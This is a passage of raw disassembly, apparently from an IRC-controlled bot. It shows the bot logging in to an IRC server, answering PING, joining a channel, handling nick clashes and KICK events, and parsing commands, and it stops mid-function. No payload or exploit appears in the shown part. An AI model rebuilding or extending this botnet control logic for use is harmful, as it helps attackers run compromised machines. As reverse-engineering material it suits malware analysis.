loc_401B39:				; CODE XREF: sub_4019E7+5Aj
		xor	eax, eax
		jmp	short loc_401B49
; ---------------------------------------------------------------------------

loc_401B3D:				; CODE XREF: sub_4019E7+14Bj
		push	[ebp+var_34]
		call	sub_40BA72
		pop	ecx
		push	2
		pop	eax

loc_401B49:				; CODE XREF: sub_4019E7+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4019E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B4F	proc near		; CODE XREF: sub_4019E7+123p

Dst		= byte ptr -1A90h
var_A90		= dword	ptr -0A90h
var_2C0		= dword	ptr -2C0h
var_140		= dword	ptr -140h
Str		= byte ptr -0A0h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401B6D:				; CODE XREF: sub_401B4F+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401B6D
		cmp	byte_43F0CC, bl
		jz	short loc_401B94
		push	offset byte_43F0CC ; Args
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]	; int
		call	sub_409CEE
		add	esp, 0Ch

loc_401B94:				; CODE XREF: sub_401B4F+2Ej
		push	[ebp+Source]
		lea	eax, [ebp+Dest]
		push	ebx		; Str1
		push	ebx		; int
		push	2		; int
		push	eax		; Dest
		call	sub_40B44F
		add	esp, 10h
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+Source]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401BFE
		push	[ebp+arg_0]
		call	dword_4E3190	; closesocket
		push	1388h
		call	ds:dword_4F534C	; Sleep

loc_401BF7:				; CODE XREF: sub_401B4F+D9j
					; sub_401B4F+153j
		xor	eax, eax

loc_401BF9:				; CODE XREF: sub_401B4F+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401BFE:				; CODE XREF: sub_401B4F+92j
					; sub_401B4F+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+Dst]
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3110	; recv
		test	eax, eax
		jle	short loc_401BF7
		lea	eax, [ebp+var_A90]
		push	eax		; int
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_418C98
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401BFE
		lea	edi, [ebp+var_A90]

loc_401C4F:				; CODE XREF: sub_401B4F+165j
		push	1
		pop	esi

loc_401C52:				; CODE XREF: sub_401B4F+144j
		push	[ebp+arg_1C]	; int
		lea	eax, [ebp+var_8]
		push	esi		; File
		push	eax		; int
		lea	eax, [ebp+var_140]
		push	eax		; int
		lea	eax, [ebp+var_2C0]
		push	eax		; int
		push	[ebp+arg_18]	; int
		push	[ebp+Source]	; Source
		push	[ebp+arg_8]	; int
		push	[ebp+arg_4]	; int
		push	[ebp+arg_0]	; int
		push	dword ptr [edi]	; Src
		call	sub_401CC7
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401C95
		push	7D0h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_401C52
; ---------------------------------------------------------------------------

loc_401C95:				; CODE XREF: sub_401B4F+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401CBF
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401CBB
		cmp	esi, 0FFFFFFFFh
		jz	loc_401BF7
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401C4F
		jmp	loc_401BFE
; ---------------------------------------------------------------------------

loc_401CBB:				; CODE XREF: sub_401B4F+14Ej
		push	1
		jmp	short loc_401CC1
; ---------------------------------------------------------------------------

loc_401CBF:				; CODE XREF: sub_401B4F+149j
		push	2

loc_401CC1:				; CODE XREF: sub_401B4F+16Ej
		pop	eax
		jmp	loc_401BF9
sub_401B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401CC7(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int)

sub_401CC7	proc near		; CODE XREF: sub_401B4F+12Ap

var_5D98	= dword	ptr -5D98h
var_5D88	= dword	ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
Dest		= byte ptr -50F4h
FullPath	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= dword	ptr -45ECh
var_4588	= byte ptr -4588h
Str		= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
Filename	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
Drive		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
Str1		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
Count		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
Dst		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
SubStr		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
Args		= byte ptr -8Ch
Format		= dword	ptr -88h
Str2		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Source		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
File		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_A4], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C4], ebx
		call	_memset
		push	1Bh		; Count
		lea	eax, [ebp+Str1]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 18h
		cmp	[ebp+Src], ebx
		jz	loc_402085
		push	esi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		dec	esi
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Str]
		push	offset SubStr	; " :"
		push	eax		; Str
		call	_strstr
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_4AF0]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_4AF0]
		push	offset Delim	; " "
		push	eax		; Str
		call	_strtok
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	esi, [ebp+Args]
		push	1Fh
		pop	edi

loc_401D92:				; CODE XREF: sub_401CC7+DEj
		push	offset asc_43FB90 ; " "
		push	ebx		; Str
		call	_strtok
		mov	[esi], eax
		pop	ecx
		add	esi, 4
		dec	edi
		pop	ecx
		jnz	short loc_401D92
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_402085
		cmp	dword ptr [ebp+Args], ebx
		jz	loc_402085
		push	100h		; Size
		lea	eax, [ebp+var_960]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401DDF:				; CODE XREF: sub_401CC7+14Aj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401E0B
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401E13
		cmp	[eax+2], bl
		jnz	short loc_401E13
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401E0B:				; CODE XREF: sub_401CC7+11Cj
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401DDF

loc_401E13:				; CODE XREF: sub_401CC7+121j
					; sub_401CC7+126j
		cmp	[ebp+var_8ED], bl
		jz	short loc_401E1E
		mov	[ebp+var_8], edi

loc_401E1E:				; CODE XREF: sub_401CC7+152j
		cmp	[ebp+var_8F2], bl
		jz	short loc_401E2C
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401E2C:				; CODE XREF: sub_401CC7+15Dj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401E66
		push	7Fh		; Count
		lea	eax, [ebp+var_E00]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [esi+1]
		push	17h		; Count
		push	eax		; Source
		lea	eax, [ebp+var_C0]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_C0]
		push	offset asc_43FB94 ; "!"
		push	eax		; Str
		call	_strtok
		add	esp, 20h

loc_401E66:				; CODE XREF: sub_401CC7+168j
		push	esi		; Str2
		push	offset aPing	; "PING"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EB7
		push	dword ptr [ebp+Args] ; Args
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401F5B
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 10h
		jmp	loc_401F5B
; ---------------------------------------------------------------------------

loc_401EB7:				; CODE XREF: sub_401CC7+1AEj
		mov	esi, dword ptr [ebp+Args]
		push	esi		; Str2
		push	offset a001	; "001"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409CA2
		push	esi		; Str2
		push	offset a005	; "005"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409CA2
		push	esi		; Str2
		push	offset a302_0	; "302"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F1F
		push	offset a@	; "@"
		push	[ebp+Str2]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401F5B
		inc	eax
		push	9Fh		; Count
		push	eax		; Source
		push	[ebp+arg_1C]	; Dest
		call	_strncpy
		jmp	short loc_401F58
; ---------------------------------------------------------------------------

loc_401F1F:				; CODE XREF: sub_401CC7+22Fj
		push	esi		; Str2
		push	offset a433_0	; "433"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F62
		push	ebx		; Str1
		push	dword_43F0A0	; int
		push	dword_43F09C	; int
		push	[ebp+Source]	; Dest
		call	sub_40B44F
		add	esp, 10h
		push	[ebp+Source]	; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE

loc_401F58:				; CODE XREF: sub_401CC7+256j
		add	esp, 0Ch

loc_401F5B:				; CODE XREF: sub_401CC7+1CFj
					; sub_401CC7+1EBj ...
		mov	eax, edi
		jmp	loc_402088
; ---------------------------------------------------------------------------

loc_401F62:				; CODE XREF: sub_401CC7+267j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_2C8], 3
		mov	edi, 80h

loc_401F74:				; CODE XREF: sub_401CC7+2D2j
		lea	eax, [ebp+var_E00]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F91
		mov	[ebp+var_A8], 1

loc_401F91:				; CODE XREF: sub_401CC7+2BEj
		add	esi, edi
		dec	[ebp+var_2C8]
		jnz	short loc_401F74
		mov	esi, dword ptr [ebp+Args]
		push	esi		; Str2
		push	offset aKick	; "KICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40208D
		mov	esi, [ebp+arg_18]
		mov	[ebp+File], 3

loc_401FC0:				; CODE XREF: sub_401CC7+389j
		cmp	[esi], bl
		jz	loc_40204B
		push	7Fh		; Count
		lea	eax, [ebp+var_E00]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_C0]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40204B
		cmp	[ebp+Str2], ebx
		jz	short loc_40204B
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+var_C0]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40204B
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_43FC14 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_415C3F
		add	esp, 14h

loc_40204B:				; CODE XREF: sub_401CC7+2FBj
					; sub_401CC7+31Bj ...
		add	esi, edi
		dec	[ebp+File]
		jnz	loc_401FC0
		push	[ebp+Str2]	; Str2
		push	[ebp+Source]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402085
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]	; Args
		mov	[eax], ebx
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"

loc_40207A:				; CODE XREF: sub_401CC7+60Aj
					; sub_401CC7+8C0j ...
		push	[ebp+arg_4]	; int
		call	sub_409CEE

loc_402082:				; CODE XREF: sub_401CC7+252Cj
					; sub_401CC7+2549j ...
		add	esp, 10h

loc_402085:				; CODE XREF: sub_401CC7+5Bj
					; sub_401CC7+E8j ...
		push	1

loc_402087:				; CODE XREF: sub_401CC7+2A52j
		pop	eax

loc_402088:				; CODE XREF: sub_401CC7+296j
					; sub_401CC7+2A74j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40208D:				; CODE XREF: sub_401CC7+2E9j
		push	esi		; Str2
		push	offset aNick	; "NICK"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4021E3
		mov	eax, [ebp+Format]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+Src], 3
		mov	[ebp+File], eax

loc_4020B6:				; CODE XREF: sub_401CC7+441j
		lea	eax, [ebp+var_E00]
		push	eax		; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
